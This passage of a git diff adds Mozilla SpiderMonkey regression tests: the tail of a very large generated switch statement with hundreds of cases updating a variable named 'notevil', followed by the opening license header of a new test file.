+ notevil = (notevil + 1340)/2;
+ break;
+case "z1341":
+ notevil = (notevil + 1341)/2;
+ break;
+case "z1342":
+ notevil = (notevil + 1342)/2;
+ break;
+case "z1343":
+ notevil = (notevil + 1343)/2;
+ break;
+case "z1344":
+ notevil = (notevil + 1344)/2;
+ break;
+case "z1345":
+ notevil = (notevil + 1345)/2;
+ break;
+case "z1346":
+ notevil = (notevil + 1346)/2;
+ break;
+case "z1347":
+ notevil = (notevil + 1347)/2;
+ break;
+case "z1348":
+ notevil = (notevil + 1348)/2;
+ break;
+case "z1349":
+ notevil = (notevil + 1349)/2;
+ break;
+case "z1350":
+ notevil = (notevil + 1350)/2;
+ break;
+case "z1351":
+ notevil = (notevil + 1351)/2;
+ break;
+case "z1352":
+ notevil = (notevil + 1352)/2;
+ break;
+case "z1353":
+ notevil = (notevil + 1353)/2;
+ break;
+case "z1354":
+ notevil = (notevil + 1354)/2;
+ break;
+case "z1355":
+ notevil = (notevil + 1355)/2;
+ break;
+case "z1356":
+ notevil = (notevil + 1356)/2;
+ break;
+case "z1357":
+ notevil = (notevil + 1357)/2;
+ break;
+case "z1358":
+ notevil = (notevil + 1358)/2;
+ break;
+case "z1359":
+ notevil = (notevil + 1359)/2;
+ break;
+case "z1360":
+ notevil = (notevil + 1360)/2;
+ break;
+case "z1361":
+ notevil = (notevil + 1361)/2;
+ break;
+case "z1362":
+ notevil = (notevil + 1362)/2;
+ break;
+case "z1363":
+ notevil = (notevil + 1363)/2;
+ break;
+case "z1364":
+ notevil = (notevil + 1364)/2;
+ break;
+case "z1365":
+ notevil = (notevil + 1365)/2;
+ break;
+case "z1366":
+ notevil = (notevil + 1366)/2;
+ break;
+case "z1367":
+ notevil = (notevil + 1367)/2;
+ break;
+case "z1368":
+ notevil = (notevil + 1368)/2;
+ break;
+case "z1369":
+ notevil = (notevil + 1369)/2;
+ break;
+case "z1370":
+ notevil = (notevil + 1370)/2;
+ break;
+case "z1371":
+ notevil = (notevil + 1371)/2;
+ break;
+case "z1372":
+ notevil = (notevil + 1372)/2;
+ break;
+case "z1373":
+ notevil = (notevil + 1373)/2;
+ break;
+case "z1374":
+ notevil = (notevil + 1374)/2;
+ break;
+case "z1375":
+ notevil = (notevil + 1375)/2;
+ break;
+case "z1376":
+ notevil = (notevil + 1376)/2;
+ break;
+case "z1377":
+ notevil = (notevil + 1377)/2;
+ break;
+case "z1378":
+ notevil = (notevil + 1378)/2;
+ break;
+case "z1379":
+ notevil = (notevil + 1379)/2;
+ break;
+case "z1380":
+ notevil = (notevil + 1380)/2;
+ break;
+case "z1381":
+ notevil = (notevil + 1381)/2;
+ break;
+case "z1382":
+ notevil = (notevil + 1382)/2;
+ break;
+case "z1383":
+ notevil = (notevil + 1383)/2;
+ break;
+case "z1384":
+ notevil = (notevil + 1384)/2;
+ break;
+case "z1385":
+ notevil = (notevil + 1385)/2;
+ break;
+case "z1386":
+ notevil = (notevil + 1386)/2;
+ break;
+case "z1387":
+ notevil = (notevil + 1387)/2;
+ break;
+case "z1388":
+ notevil = (notevil + 1388)/2;
+ break;
+case "z1389":
+ notevil = (notevil + 1389)/2;
+ break;
+case "z1390":
+ notevil = (notevil + 1390)/2;
+ break;
+case "z1391":
+ notevil = (notevil + 1391)/2;
+ break;
+case "z1392":
+ notevil = (notevil + 1392)/2;
+ break;
+case "z1393":
+ notevil = (notevil + 1393)/2;
+ break;
+case "z1394":
+ notevil = (notevil + 1394)/2;
+ break;
+case "z1395":
+ notevil = (notevil + 1395)/2;
+ break;
+case "z1396":
+ notevil = (notevil + 1396)/2;
+ break;
+case "z1397":
+ notevil = (notevil + 1397)/2;
+ break;
+case "z1398":
+ notevil = (notevil + 1398)/2;
+ break;
+case "z1399":
+ notevil = (notevil + 1399)/2;
+ break;
+case "z1400":
+ notevil = (notevil + 1400)/2;
+ break;
+case "z1401":
+ notevil = (notevil + 1401)/2;
+ break;
+case "z1402":
+ notevil = (notevil + 1402)/2;
+ break;
+case "z1403":
+ notevil = (notevil + 1403)/2;
+ break;
+case "z1404":
+ notevil = (notevil + 1404)/2;
+ break;
+case "z1405":
+ notevil = (notevil + 1405)/2;
+ break;
+case "z1406":
+ notevil = (notevil + 1406)/2;
+ break;
+case "z1407":
+ notevil = (notevil + 1407)/2;
+ break;
+case "z1408":
+ notevil = (notevil + 1408)/2;
+ break;
+case "z1409":
+ notevil = (notevil + 1409)/2;
+ break;
+case "z1410":
+ notevil = (notevil + 1410)/2;
+ break;
+case "z1411":
+ notevil = (notevil + 1411)/2;
+ break;
+case "z1412":
+ notevil = (notevil + 1412)/2;
+ break;
+case "z1413":
+ notevil = (notevil + 1413)/2;
+ break;
+case "z1414":
+ notevil = (notevil + 1414)/2;
+ break;
+case "z1415":
+ notevil = (notevil + 1415)/2;
+ break;
+case "z1416":
+ notevil = (notevil + 1416)/2;
+ break;
+case "z1417":
+ notevil = (notevil + 1417)/2;
+ break;
+case "z1418":
+ notevil = (notevil + 1418)/2;
+ break;
+case "z1419":
+ notevil = (notevil + 1419)/2;
+ break;
+case "z1420":
+ notevil = (notevil + 1420)/2;
+ break;
+case "z1421":
+ notevil = (notevil + 1421)/2;
+ break;
+case "z1422":
+ notevil = (notevil + 1422)/2;
+ break;
+case "z1423":
+ notevil = (notevil + 1423)/2;
+ break;
+case "z1424":
+ notevil = (notevil + 1424)/2;
+ break;
+case "z1425":
+ notevil = (notevil + 1425)/2;
+ break;
+case "z1426":
+ notevil = (notevil + 1426)/2;
+ break;
+case "z1427":
+ notevil = (notevil + 1427)/2;
+ break;
+case "z1428":
+ notevil = (notevil + 1428)/2;
+ break;
+case "z1429":
+ notevil = (notevil + 1429)/2;
+ break;
+case "z1430":
+ notevil = (notevil + 1430)/2;
+ break;
+case "z1431":
+ notevil = (notevil + 1431)/2;
+ break;
+case "z1432":
+ notevil = (notevil + 1432)/2;
+ break;
+case "z1433":
+ notevil = (notevil + 1433)/2;
+ break;
+case "z1434":
+ notevil = (notevil + 1434)/2;
+ break;
+case "z1435":
+ notevil = (notevil + 1435)/2;
+ break;
+case "z1436":
+ notevil = (notevil + 1436)/2;
+ break;
+case "z1437":
+ notevil = (notevil + 1437)/2;
+ break;
+case "z1438":
+ notevil = (notevil + 1438)/2;
+ break;
+case "z1439":
+ notevil = (notevil + 1439)/2;
+ break;
+case "z1440":
+ notevil = (notevil + 1440)/2;
+ break;
+case "z1441":
+ notevil = (notevil + 1441)/2;
+ break;
+case "z1442":
+ notevil = (notevil + 1442)/2;
+ break;
+case "z1443":
+ notevil = (notevil + 1443)/2;
+ break;
+case "z1444":
+ notevil = (notevil + 1444)/2;
+ break;
+case "z1445":
+ notevil = (notevil + 1445)/2;
+ break;
+case "z1446":
+ notevil = (notevil + 1446)/2;
+ break;
+case "z1447":
+ notevil = (notevil + 1447)/2;
+ break;
+case "z1448":
+ notevil = (notevil + 1448)/2;
+ break;
+case "z1449":
+ notevil = (notevil + 1449)/2;
+ break;
+case "z1450":
+ notevil = (notevil + 1450)/2;
+ break;
+case "z1451":
+ notevil = (notevil + 1451)/2;
+ break;
+case "z1452":
+ notevil = (notevil + 1452)/2;
+ break;
+case "z1453":
+ notevil = (notevil + 1453)/2;
+ break;
+case "z1454":
+ notevil = (notevil + 1454)/2;
+ break;
+case "z1455":
+ notevil = (notevil + 1455)/2;
+ break;
+case "z1456":
+ notevil = (notevil + 1456)/2;
+ break;
+case "z1457":
+ notevil = (notevil + 1457)/2;
+ break;
+case "z1458":
+ notevil = (notevil + 1458)/2;
+ break;
+case "z1459":
+ notevil = (notevil + 1459)/2;
+ break;
+case "z1460":
+ notevil = (notevil + 1460)/2;
+ break;
+case "z1461":
+ notevil = (notevil + 1461)/2;
+ break;
+case "z1462":
+ notevil = (notevil + 1462)/2;
+ break;
+case "z1463":
+ notevil = (notevil + 1463)/2;
+ break;
+case "z1464":
+ notevil = (notevil + 1464)/2;
+ break;
+case "z1465":
+ notevil = (notevil + 1465)/2;
+ break;
+case "z1466":
+ notevil = (notevil + 1466)/2;
+ break;
+case "z1467":
+ notevil = (notevil + 1467)/2;
+ break;
+case "z1468":
+ notevil = (notevil + 1468)/2;
+ break;
+case "z1469":
+ notevil = (notevil + 1469)/2;
+ break;
+case "z1470":
+ notevil = (notevil + 1470)/2;
+ break;
+case "z1471":
+ notevil = (notevil + 1471)/2;
+ break;
+case "z1472":
+ notevil = (notevil + 1472)/2;
+ break;
+case "z1473":
+ notevil = (notevil + 1473)/2;
+ break;
+case "z1474":
+ notevil = (notevil + 1474)/2;
+ break;
+case "z1475":
+ notevil = (notevil + 1475)/2;
+ break;
+case "z1476":
+ notevil = (notevil + 1476)/2;
+ break;
+case "z1477":
+ notevil = (notevil + 1477)/2;
+ break;
+case "z1478":
+ notevil = (notevil + 1478)/2;
+ break;
+case "z1479":
+ notevil = (notevil + 1479)/2;
+ break;
+case "z1480":
+ notevil = (notevil + 1480)/2;
+ break;
+case "z1481":
+ notevil = (notevil + 1481)/2;
+ break;
+case "z1482":
+ notevil = (notevil + 1482)/2;
+ break;
+case "z1483":
+ notevil = (notevil + 1483)/2;
+ break;
+case "z1484":
+ notevil = (notevil + 1484)/2;
+ break;
+case "z1485":
+ notevil = (notevil + 1485)/2;
+ break;
+case "z1486":
+ notevil = (notevil + 1486)/2;
+ break;
+case "z1487":
+ notevil = (notevil + 1487)/2;
+ break;
+case "z1488":
+ notevil = (notevil + 1488)/2;
+ break;
+case "z1489":
+ notevil = (notevil + 1489)/2;
+ break;
+case "z1490":
+ notevil = (notevil + 1490)/2;
+ break;
+case "z1491":
+ notevil = (notevil + 1491)/2;
+ break;
+case "z1492":
+ notevil = (notevil + 1492)/2;
+ break;
+case "z1493":
+ notevil = (notevil + 1493)/2;
+ break;
+case "z1494":
+ notevil = (notevil + 1494)/2;
+ break;
+case "z1495":
+ notevil = (notevil + 1495)/2;
+ break;
+case "z1496":
+ notevil = (notevil + 1496)/2;
+ break;
+case "z1497":
+ notevil = (notevil + 1497)/2;
+ break;
+case "z1498":
+ notevil = (notevil + 1498)/2;
+ break;
+case "z1499":
+ notevil = (notevil + 1499)/2;
+ break;
+case "z1500":
+ notevil = (notevil + 1500)/2;
+ break;
+case "z1501":
+ notevil = (notevil + 1501)/2;
+ break;
+case "z1502":
+ notevil = (notevil + 1502)/2;
+ break;
+case "z1503":
+ notevil = (notevil + 1503)/2;
+ break;
+case "z1504":
+ notevil = (notevil + 1504)/2;
+ break;
+case "z1505":
+ notevil = (notevil + 1505)/2;
+ break;
+case "z1506":
+ notevil = (notevil + 1506)/2;
+ break;
+case "z1507":
+ notevil = (notevil + 1507)/2;
+ break;
+case "z1508":
+ notevil = (notevil + 1508)/2;
+ break;
+case "z1509":
+ notevil = (notevil + 1509)/2;
+ break;
+case "z1510":
+ notevil = (notevil + 1510)/2;
+ break;
+case "z1511":
+ notevil = (notevil + 1511)/2;
+ break;
+case "z1512":
+ notevil = (notevil + 1512)/2;
+ break;
+case "z1513":
+ notevil = (notevil + 1513)/2;
+ break;
+case "z1514":
+ notevil = (notevil + 1514)/2;
+ break;
+case "z1515":
+ notevil = (notevil + 1515)/2;
+ break;
+case "z1516":
+ notevil = (notevil + 1516)/2;
+ break;
+case "z1517":
+ notevil = (notevil + 1517)/2;
+ break;
+case "z1518":
+ notevil = (notevil + 1518)/2;
+ break;
+case "z1519":
+ notevil = (notevil + 1519)/2;
+ break;
+case "z1520":
+ notevil = (notevil + 1520)/2;
+ break;
+case "z1521":
+ notevil = (notevil + 1521)/2;
+ break;
+case "z1522":
+ notevil = (notevil + 1522)/2;
+ break;
+case "z1523":
+ notevil = (notevil + 1523)/2;
+ break;
+case "z1524":
+ notevil = (notevil + 1524)/2;
+ break;
+case "z1525":
+ notevil = (notevil + 1525)/2;
+ break;
+case "z1526":
+ notevil = (notevil + 1526)/2;
+ break;
+case "z1527":
+ notevil = (notevil + 1527)/2;
+ break;
+case "z1528":
+ notevil = (notevil + 1528)/2;
+ break;
+case "z1529":
+ notevil = (notevil + 1529)/2;
+ break;
+case "z1530":
+ notevil = (notevil + 1530)/2;
+ break;
+case "z1531":
+ notevil = (notevil + 1531)/2;
+ break;
+case "z1532":
+ notevil = (notevil + 1532)/2;
+ break;
+case "z1533":
+ notevil = (notevil + 1533)/2;
+ break;
+case "z1534":
+ notevil = (notevil + 1534)/2;
+ break;
+case "z1535":
+ notevil = (notevil + 1535)/2;
+ break;
+case "z1536":
+ notevil = (notevil + 1536)/2;
+ break;
+case "z1537":
+ notevil = (notevil + 1537)/2;
+ break;
+case "z1538":
+ notevil = (notevil + 1538)/2;
+ break;
+case "z1539":
+ notevil = (notevil + 1539)/2;
+ break;
+case "z1540":
+ notevil = (notevil + 1540)/2;
+ break;
+case "z1541":
+ notevil = (notevil + 1541)/2;
+ break;
+case "z1542":
+ notevil = (notevil + 1542)/2;
+ break;
+case "z1543":
+ notevil = (notevil + 1543)/2;
+ break;
+case "z1544":
+ notevil = (notevil + 1544)/2;
+ break;
+case "z1545":
+ notevil = (notevil + 1545)/2;
+ break;
+case "z1546":
+ notevil = (notevil + 1546)/2;
+ break;
+case "z1547":
+ notevil = (notevil + 1547)/2;
+ break;
+case "z1548":
+ notevil = (notevil + 1548)/2;
+ break;
+case "z1549":
+ notevil = (notevil + 1549)/2;
+ break;
+case "z1550":
+ notevil = (notevil + 1550)/2;
+ break;
+case "z1551":
+ notevil = (notevil + 1551)/2;
+ break;
+case "z1552":
+ notevil = (notevil + 1552)/2;
+ break;
+case "z1553":
+ notevil = (notevil + 1553)/2;
+ break;
+case "z1554":
+ notevil = (notevil + 1554)/2;
+ break;
+case "z1555":
+ notevil = (notevil + 1555)/2;
+ break;
+case "z1556":
+ notevil = (notevil + 1556)/2;
+ break;
+case "z1557":
+ notevil = (notevil + 1557)/2;
+ break;
+case "z1558":
+ notevil = (notevil + 1558)/2;
+ break;
+case "z1559":
+ notevil = (notevil + 1559)/2;
+ break;
+case "z1560":
+ notevil = (notevil + 1560)/2;
+ break;
+case "z1561":
+ notevil = (notevil + 1561)/2;
+ break;
+case "z1562":
+ notevil = (notevil + 1562)/2;
+ break;
+case "z1563":
+ notevil = (notevil + 1563)/2;
+ break;
+case "z1564":
+ notevil = (notevil + 1564)/2;
+ break;
+case "z1565":
+ notevil = (notevil + 1565)/2;
+ break;
+case "z1566":
+ notevil = (notevil + 1566)/2;
+ break;
+case "z1567":
+ notevil = (notevil + 1567)/2;
+ break;
+case "z1568":
+ notevil = (notevil + 1568)/2;
+ break;
+case "z1569":
+ notevil = (notevil + 1569)/2;
+ break;
+case "z1570":
+ notevil = (notevil + 1570)/2;
+ break;
+case "z1571":
+ notevil = (notevil + 1571)/2;
+ break;
+case "z1572":
+ notevil = (notevil + 1572)/2;
+ break;
+case "z1573":
+ notevil = (notevil + 1573)/2;
+ break;
+case "z1574":
+ notevil = (notevil + 1574)/2;
+ break;
+case "z1575":
+ notevil = (notevil + 1575)/2;
+ break;
+case "z1576":
+ notevil = (notevil + 1576)/2;
+ break;
+case "z1577":
+ notevil = (notevil + 1577)/2;
+ break;
+case "z1578":
+ notevil = (notevil + 1578)/2;
+ break;
+case "z1579":
+ notevil = (notevil + 1579)/2;
+ break;
+case "z1580":
+ notevil = (notevil + 1580)/2;
+ break;
+case "z1581":
+ notevil = (notevil + 1581)/2;
+ break;
+case "z1582":
+ notevil = (notevil + 1582)/2;
+ break;
+case "z1583":
+ notevil = (notevil + 1583)/2;
+ break;
+case "z1584":
+ notevil = (notevil + 1584)/2;
+ break;
+case "z1585":
+ notevil = (notevil + 1585)/2;
+ break;
+case "z1586":
+ notevil = (notevil + 1586)/2;
+ break;
+case "z1587":
+ notevil = (notevil + 1587)/2;
+ break;
+case "z1588":
+ notevil = (notevil + 1588)/2;
+ break;
+case "z1589":
+ notevil = (notevil + 1589)/2;
+ break;
+case "z1590":
+ notevil = (notevil + 1590)/2;
+ break;
+case "z1591":
+ notevil = (notevil + 1591)/2;
+ break;
+case "z1592":
+ notevil = (notevil + 1592)/2;
+ break;
+case "z1593":
+ notevil = (notevil + 1593)/2;
+ break;
+case "z1594":
+ notevil = (notevil + 1594)/2;
+ break;
+case "z1595":
+ notevil = (notevil + 1595)/2;
+ break;
+case "z1596":
+ notevil = (notevil + 1596)/2;
+ break;
+case "z1597":
+ notevil = (notevil + 1597)/2;
+ break;
+case "z1598":
+ notevil = (notevil + 1598)/2;
+ break;
+case "z1599":
+ notevil = (notevil + 1599)/2;
+ break;
+case "z1600":
+ notevil = (notevil + 1600)/2;
+ break;
+case "z1601":
+ notevil = (notevil + 1601)/2;
+ break;
+case "z1602":
+ notevil = (notevil + 1602)/2;
+ break;
+case "z1603":
+ notevil = (notevil + 1603)/2;
+ break;
+case "z1604":
+ notevil = (notevil + 1604)/2;
+ break;
+case "z1605":
+ notevil = (notevil + 1605)/2;
+ break;
+case "z1606":
+ notevil = (notevil + 1606)/2;
+ break;
+case "z1607":
+ notevil = (notevil + 1607)/2;
+ break;
+case "z1608":
+ notevil = (notevil + 1608)/2;
+ break;
+case "z1609":
+ notevil = (notevil + 1609)/2;
+ break;
+case "z1610":
+ notevil = (notevil + 1610)/2;
+ break;
+case "z1611":
+ notevil = (notevil + 1611)/2;
+ break;
+case "z1612":
+ notevil = (notevil + 1612)/2;
+ break;
+case "z1613":
+ notevil = (notevil + 1613)/2;
+ break;
+case "z1614":
+ notevil = (notevil + 1614)/2;
+ break;
+case "z1615":
+ notevil = (notevil + 1615)/2;
+ break;
+case "z1616":
+ notevil = (notevil + 1616)/2;
+ break;
+case "z1617":
+ notevil = (notevil + 1617)/2;
+ break;
+case "z1618":
+ notevil = (notevil + 1618)/2;
+ break;
+case "z1619":
+ notevil = (notevil + 1619)/2;
+ break;
+case "z1620":
+ notevil = (notevil + 1620)/2;
+ break;
+case "z1621":
+ notevil = (notevil + 1621)/2;
+ break;
+case "z1622":
+ notevil = (notevil + 1622)/2;
+ break;
+case "z1623":
+ notevil = (notevil + 1623)/2;
+ break;
+case "z1624":
+ notevil = (notevil + 1624)/2;
+ break;
+case "z1625":
+ notevil = (notevil + 1625)/2;
+ break;
+case "z1626":
+ notevil = (notevil + 1626)/2;
+ break;
+case "z1627":
+ notevil = (notevil + 1627)/2;
+ break;
+case "z1628":
+ notevil = (notevil + 1628)/2;
+ break;
+case "z1629":
+ notevil = (notevil + 1629)/2;
+ break;
+case "z1630":
+ notevil = (notevil + 1630)/2;
+ break;
+case "z1631":
+ notevil = (notevil + 1631)/2;
+ break;
+case "z1632":
+ notevil = (notevil + 1632)/2;
+ break;
+case "z1633":
+ notevil = (notevil + 1633)/2;
+ break;
+case "z1634":
+ notevil = (notevil + 1634)/2;
+ break;
+case "z1635":
+ notevil = (notevil + 1635)/2;
+ break;
+case "z1636":
+ notevil = (notevil + 1636)/2;
+ break;
+case "z1637":
+ notevil = (notevil + 1637)/2;
+ break;
+case "z1638":
+ notevil = (notevil + 1638)/2;
+ break;
+case "z1639":
+ notevil = (notevil + 1639)/2;
+ break;
+case "z1640":
+ notevil = (notevil + 1640)/2;
+ break;
+case "z1641":
+ notevil = (notevil + 1641)/2;
+ break;
+case "z1642":
+ notevil = (notevil + 1642)/2;
+ break;
+case "z1643":
+ notevil = (notevil + 1643)/2;
+ break;
+case "z1644":
+ notevil = (notevil + 1644)/2;
+ break;
+case "z1645":
+ notevil = (notevil + 1645)/2;
+ break;
+case "z1646":
+ notevil = (notevil + 1646)/2;
+ break;
+case "z1647":
+ notevil = (notevil + 1647)/2;
+ break;
+case "z1648":
+ notevil = (notevil + 1648)/2;
+ break;
+case "z1649":
+ notevil = (notevil + 1649)/2;
+ break;
+case "z1650":
+ notevil = (notevil + 1650)/2;
+ break;
+case "z1651":
+ notevil = (notevil + 1651)/2;
+ break;
+case "z1652":
+ notevil = (notevil + 1652)/2;
+ break;
+case "z1653":
+ notevil = (notevil + 1653)/2;
+ break;
+case "z1654":
+ notevil = (notevil + 1654)/2;
+ break;
+case "z1655":
+ notevil = (notevil + 1655)/2;
+ break;
+case "z1656":
+ notevil = (notevil + 1656)/2;
+ break;
+case "z1657":
+ notevil = (notevil + 1657)/2;
+ break;
+case "z1658":
+ notevil = (notevil + 1658)/2;
+ break;
+case "z1659":
+ notevil = (notevil + 1659)/2;
+ break;
+case "z1660":
+ notevil = (notevil + 1660)/2;
+ break;
+case "z1661":
+ notevil = (notevil + 1661)/2;
+ break;
+case "z1662":
+ notevil = (notevil + 1662)/2;
+ break;
+case "z1663":
+ notevil = (notevil + 1663)/2;
+ break;
+case "z1664":
+ notevil = (notevil + 1664)/2;
+ break;
+case "z1665":
+ notevil = (notevil + 1665)/2;
+ break;
+case "z1666":
+ notevil = (notevil + 1666)/2;
+ break;
+case "z1667":
+ notevil = (notevil + 1667)/2;
+ break;
+case "z1668":
+ notevil = (notevil + 1668)/2;
+ break;
+case "z1669":
+ notevil = (notevil + 1669)/2;
+ break;
+case "z1670":
+ notevil = (notevil + 1670)/2;
+ break;
+case "z1671":
+ notevil = (notevil + 1671)/2;
+ break;
+case "z1672":
+ notevil = (notevil + 1672)/2;
+ break;
+case "z1673":
+ notevil = (notevil + 1673)/2;
+ break;
+case "z1674":
+ notevil = (notevil + 1674)/2;
+ break;
+case "z1675":
+ notevil = (notevil + 1675)/2;
+ break;
+case "z1676":
+ notevil = (notevil + 1676)/2;
+ break;
+case "z1677":
+ notevil = (notevil + 1677)/2;
+ break;
+case "z1678":
+ notevil = (notevil + 1678)/2;
+ break;
+case "z1679":
+ notevil = (notevil + 1679)/2;
+ break;
+case "z1680":
+ notevil = (notevil + 1680)/2;
+ break;
+case "z1681":
+ notevil = (notevil + 1681)/2;
+ break;
+case "z1682":
+ notevil = (notevil + 1682)/2;
+ break;
+case "z1683":
+ notevil = (notevil + 1683)/2;
+ break;
+case "z1684":
+ notevil = (notevil + 1684)/2;
+ break;
+case "z1685":
+ notevil = (notevil + 1685)/2;
+ break;
+case "z1686":
+ notevil = (notevil + 1686)/2;
+ break;
+case "z1687":
+ notevil = (notevil + 1687)/2;
+ break;
+case "z1688":
+ notevil = (notevil + 1688)/2;
+ break;
+case "z1689":
+ notevil = (notevil + 1689)/2;
+ break;
+case "z1690":
+ notevil = (notevil + 1690)/2;
+ break;
+case "z1691":
+ notevil = (notevil + 1691)/2;
+ break;
+case "z1692":
+ notevil = (notevil + 1692)/2;
+ break;
+case "z1693":
+ notevil = (notevil + 1693)/2;
+ break;
+case "z1694":
+ notevil = (notevil + 1694)/2;
+ break;
+case "z1695":
+ notevil = (notevil + 1695)/2;
+ break;
+case "z1696":
+ notevil = (notevil + 1696)/2;
+ break;
+case "z1697":
+ notevil = (notevil + 1697)/2;
+ break;
+case "z1698":
+ notevil = (notevil + 1698)/2;
+ break;
+case "z1699":
+ notevil = (notevil + 1699)/2;
+ break;
+case "z1700":
+ notevil = (notevil + 1700)/2;
+ break;
+case "z1701":
+ notevil = (notevil + 1701)/2;
+ break;
+case "z1702":
+ notevil = (notevil + 1702)/2;
+ break;
+case "z1703":
+ notevil = (notevil + 1703)/2;
+ break;
+case "z1704":
+ notevil = (notevil + 1704)/2;
+ break;
+case "z1705":
+ notevil = (notevil + 1705)/2;
+ break;
+case "z1706":
+ notevil = (notevil + 1706)/2;
+ break;
+case "z1707":
+ notevil = (notevil + 1707)/2;
+ break;
+case "z1708":
+ notevil = (notevil + 1708)/2;
+ break;
+case "z1709":
+ notevil = (notevil + 1709)/2;
+ break;
+case "z1710":
+ notevil = (notevil + 1710)/2;
+ break;
+case "z1711":
+ notevil = (notevil + 1711)/2;
+ break;
+case "z1712":
+ notevil = (notevil + 1712)/2;
+ break;
+case "z1713":
+ notevil = (notevil + 1713)/2;
+ break;
+case "z1714":
+ notevil = (notevil + 1714)/2;
+ break;
+case "z1715":
+ notevil = (notevil + 1715)/2;
+ break;
+case "z1716":
+ notevil = (notevil + 1716)/2;
+ break;
+case "z1717":
+ notevil = (notevil + 1717)/2;
+ break;
+case "z1718":
+ notevil = (notevil + 1718)/2;
+ break;
+case "z1719":
+ notevil = (notevil + 1719)/2;
+ break;
+case "z1720":
+ notevil = (notevil + 1720)/2;
+ break;
+case "z1721":
+ notevil = (notevil + 1721)/2;
+ break;
+case "z1722":
+ notevil = (notevil + 1722)/2;
+ break;
+case "z1723":
+ notevil = (notevil + 1723)/2;
+ break;
+case "z1724":
+ notevil = (notevil + 1724)/2;
+ break;
+case "z1725":
+ notevil = (notevil + 1725)/2;
+ break;
+case "z1726":
+ notevil = (notevil + 1726)/2;
+ break;
+case "z1727":
+ notevil = (notevil + 1727)/2;
+ break;
+case "z1728":
+ notevil = (notevil + 1728)/2;
+ break;
+case "z1729":
+ notevil = (notevil + 1729)/2;
+ break;
+case "z1730":
+ notevil = (notevil + 1730)/2;
+ break;
+case "z1731":
+ notevil = (notevil + 1731)/2;
+ break;
+case "z1732":
+ notevil = (notevil + 1732)/2;
+ break;
+case "z1733":
+ notevil = (notevil + 1733)/2;
+ break;
+case "z1734":
+ notevil = (notevil + 1734)/2;
+ break;
+case "z1735":
+ notevil = (notevil + 1735)/2;
+ break;
+case "z1736":
+ notevil = (notevil + 1736)/2;
+ break;
+case "z1737":
+ notevil = (notevil + 1737)/2;
+ break;
+case "z1738":
+ notevil = (notevil + 1738)/2;
+ break;
+case "z1739":
+ notevil = (notevil + 1739)/2;
+ break;
+case "z1740":
+ notevil = (notevil + 1740)/2;
+ break;
+case "z1741":
+ notevil = (notevil + 1741)/2;
+ break;
+case "z1742":
+ notevil = (notevil + 1742)/2;
+ break;
+case "z1743":
+ notevil = (notevil + 1743)/2;
+ break;
+case "z1744":
+ notevil = (notevil + 1744)/2;
+ break;
+case "z1745":
+ notevil = (notevil + 1745)/2;
+ break;
+case "z1746":
+ notevil = (notevil + 1746)/2;
+ break;
+case "z1747":
+ notevil = (notevil + 1747)/2;
+ break;
+case "z1748":
+ notevil = (notevil + 1748)/2;
+ break;
+case "z1749":
+ notevil = (notevil + 1749)/2;
+ break;
+case "z1750":
+ notevil = (notevil + 1750)/2;
+ break;
+case "z1751":
+ notevil = (notevil + 1751)/2;
+ break;
+case "z1752":
+ notevil = (notevil + 1752)/2;
+ break;
+case "z1753":
+ notevil = (notevil + 1753)/2;
+ break;
+case "z1754":
+ notevil = (notevil + 1754)/2;
+ break;
+case "z1755":
+ notevil = (notevil + 1755)/2;
+ break;
+case "z1756":
+ notevil = (notevil + 1756)/2;
+ break;
+case "z1757":
+ notevil = (notevil + 1757)/2;
+ break;
+case "z1758":
+ notevil = (notevil + 1758)/2;
+ break;
+case "z1759":
+ notevil = (notevil + 1759)/2;
+ break;
+case "z1760":
+ notevil = (notevil + 1760)/2;
+ break;
+case "z1761":
+ notevil = (notevil + 1761)/2;
+ break;
+case "z1762":
+ notevil = (notevil + 1762)/2;
+ break;
+case "z1763":
+ notevil = (notevil + 1763)/2;
+ break;
+case "z1764":
+ notevil = (notevil + 1764)/2;
+ break;
+case "z1765":
+ notevil = (notevil + 1765)/2;
+ break;
+case "z1766":
+ notevil = (notevil + 1766)/2;
+ break;
+case "z1767":
+ notevil = (notevil + 1767)/2;
+ break;
+case "z1768":
+ notevil = (notevil + 1768)/2;
+ break;
+case "z1769":
+ notevil = (notevil + 1769)/2;
+ break;
+case "z1770":
+ notevil = (notevil + 1770)/2;
+ break;
+case "z1771":
+ notevil = (notevil + 1771)/2;
+ break;
+case "z1772":
+ notevil = (notevil + 1772)/2;
+ break;
+case "z1773":
+ notevil = (notevil + 1773)/2;
+ break;
+case "z1774":
+ notevil = (notevil + 1774)/2;
+ break;
+case "z1775":
+ notevil = (notevil + 1775)/2;
+ break;
+case "z1776":
+ notevil = (notevil + 1776)/2;
+ break;
+case "z1777":
+ notevil = (notevil + 1777)/2;
+ break;
+case "z1778":
+ notevil = (notevil + 1778)/2;
+ break;
+case "z1779":
+ notevil = (notevil + 1779)/2;
+ break;
+case "z1780":
+ notevil = (notevil + 1780)/2;
+ break;
+case "z1781":
+ notevil = (notevil + 1781)/2;
+ break;
+case "z1782":
+ notevil = (notevil + 1782)/2;
+ break;
+case "z1783":
+ notevil = (notevil + 1783)/2;
+ break;
+case "z1784":
+ notevil = (notevil + 1784)/2;
+ break;
+case "z1785":
+ notevil = (notevil + 1785)/2;
+ break;
+case "z1786":
+ notevil = (notevil + 1786)/2;
+ break;
+case "z1787":
+ notevil = (notevil + 1787)/2;
+ break;
+case "z1788":
+ notevil = (notevil + 1788)/2;
+ break;
+case "z1789":
+ notevil = (notevil + 1789)/2;
+ break;
+case "z1790":
+ notevil = (notevil + 1790)/2;
+ break;
+case "z1791":
+ notevil = (notevil + 1791)/2;
+ break;
+case "z1792":
+ notevil = (notevil + 1792)/2;
+ break;
+case "z1793":
+ notevil = (notevil + 1793)/2;
+ break;
+case "z1794":
+ notevil = (notevil + 1794)/2;
+ break;
+case "z1795":
+ notevil = (notevil + 1795)/2;
+ break;
+case "z1796":
+ notevil = (notevil + 1796)/2;
+ break;
+case "z1797":
+ notevil = (notevil + 1797)/2;
+ break;
+case "z1798":
+ notevil = (notevil + 1798)/2;
+ break;
+case "z1799":
+ notevil = (notevil + 1799)/2;
+ break;
+
+default:
+ dut = 3;
+ break;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/statements/regress-444979.js b/js/src/tests/non262/statements/regress-444979.js
new file mode 100644
index 0000000000..0c377551cd
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-444979.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
